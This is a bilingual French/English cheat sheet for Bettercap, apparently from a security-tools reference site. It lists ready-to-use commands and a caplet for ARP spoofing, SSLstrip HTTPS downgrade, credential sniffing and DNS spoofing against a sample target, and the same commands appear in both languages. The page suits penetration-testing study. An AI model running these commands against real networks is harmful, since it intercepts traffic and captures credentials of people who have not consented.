← retour aux outils back to tools

# Bettercap

Framework d'attaque et de surveillance réseau complet. Gère l'ARP spoofing, le DNS spoofing, le déclassement HTTPS et la capture de credentials. Full-featured network attack and monitoring framework. Handles ARP spoofing, DNS spoofing, HTTPS downgrade, and credential capture.

↗ https://www.bettercap.org

## Overview

Bettercap is a modern, modular network attack framework. It replaces older tools like ettercap with a cleaner interface, interactive REPL, and support for Wi-Fi, BLE, and HID attacks in addition to LAN attacks.

## Common Usage

Launch interactive REPL

    sudo bettercap -iface eth0

Run with a caplet (script) file

    sudo bettercap -iface eth0 -caplet arp-spoof.cap

## REPL Commands

    # Network discovery
    net.probe on
    net.show

    # ARP spoofing (MITM between target and gateway)
    set arp.spoof.targets 10.10.10.5
    arp.spoof on

    # Enable packet forwarding (required for MITM)
    # Set net.ipv4.ip_forward=1 on the OS first

    # HTTP/HTTPS sniffer
    set https.proxy.sslstrip true
    http.proxy on
    https.proxy on
    net.sniff on

    # DNS spoofing
    set dns.spoof.domains target.com
    set dns.spoof.address 10.10.10.99
    dns.spoof on

## Caplet Example

    # arp-mitm.cap
    net.probe on
    sleep 1
    set arp.spoof.targets 10.10.10.5
    arp.spoof on
    net.sniff on

Help / Man page

    bettercap [options]

    OPTIONS:
      -iface IFACE      Network interface
      -caplet FILE      Caplet script to run on start
      -eval COMMANDS    Run commands on start (semicolon-separated)
      -no-colors        Disable terminal colors
      -no-history       Disable interactive history
      -silent           Suppress all output except errors
      -debug            Enable debug messages

    KEY MODULES:
      net.probe         Host discovery via ARP/mDNS/NBNS probes
      net.sniff         Packet sniffer (captures cleartext creds)
      arp.spoof         ARP cache poisoning for MITM
      dns.spoof         DNS response spoofing
      http.proxy        HTTP transparent proxy
      https.proxy       HTTPS transparent proxy (SSLstrip)
      wifi              802.11 attacks (requires monitor mode)
      ble.recon         Bluetooth Low Energy recon

    WEB UI:
      ui.update
      set api.rest.webui true
      api.rest on         # Access at http://127.0.0.1:8083

## Vue d’ensemble

Bettercap est un framework d’attaque réseau moderne et modulaire. Il remplace les anciens outils comme ettercap avec une interface plus propre, un REPL interactif, et le support des attaques Wi-Fi, BLE et HID en plus des attaques LAN.

## Utilisation courante

    # Lancer le REPL interactif
    sudo bettercap -iface eth0

    # Exécuter avec un fichier caplet (script)
    sudo bettercap -iface eth0 -caplet arp-spoof.cap

## Commandes REPL

    # Découverte réseau
    net.probe on
    net.show

    # ARP spoofing (MITM entre la cible et la passerelle)
    set arp.spoof.targets 10.10.10.5
    arp.spoof on

    # Activer le routage de paquets (requis pour MITM)
    # Définir net.ipv4.ip_forward=1 au niveau de l'OS d'abord

    # Sniffer HTTP/HTTPS
    set https.proxy.sslstrip true
    http.proxy on
    https.proxy on
    net.sniff on

    # DNS spoofing
    set dns.spoof.domains target.com
    set dns.spoof.address 10.10.10.99
    dns.spoof on

## Exemple de caplet

    # arp-mitm.cap
    net.probe on
    sleep 1
    set arp.spoof.targets 10.10.10.5
    arp.spoof on
    net.sniff on

Aide / Page de manuel

    bettercap [options]

    OPTIONS:
      -iface IFACE      Network interface
      -caplet FILE      Caplet script to run on start
      -eval COMMANDS    Run commands on start (semicolon-separated)
      -no-colors        Disable terminal colors
      -no-history       Disable interactive history
      -silent           Suppress all output except errors
      -debug            Enable debug messages

    KEY MODULES:
      net.probe         Host discovery via ARP/mDNS/NBNS probes
      net.sniff         Packet sniffer (captures cleartext creds)
      arp.spoof         ARP cache poisoning for MITM
      dns.spoof         DNS response spoofing
      http.proxy        HTTP transparent proxy
      https.proxy       HTTPS transparent proxy (SSLstrip)
      wifi              802.11 attacks (requires monitor mode)
      ble.recon         Bluetooth Low Energy recon

    WEB UI:
      ui.update
      set api.rest.webui true
      api.rest on         # Access at http://127.0.0.1:8083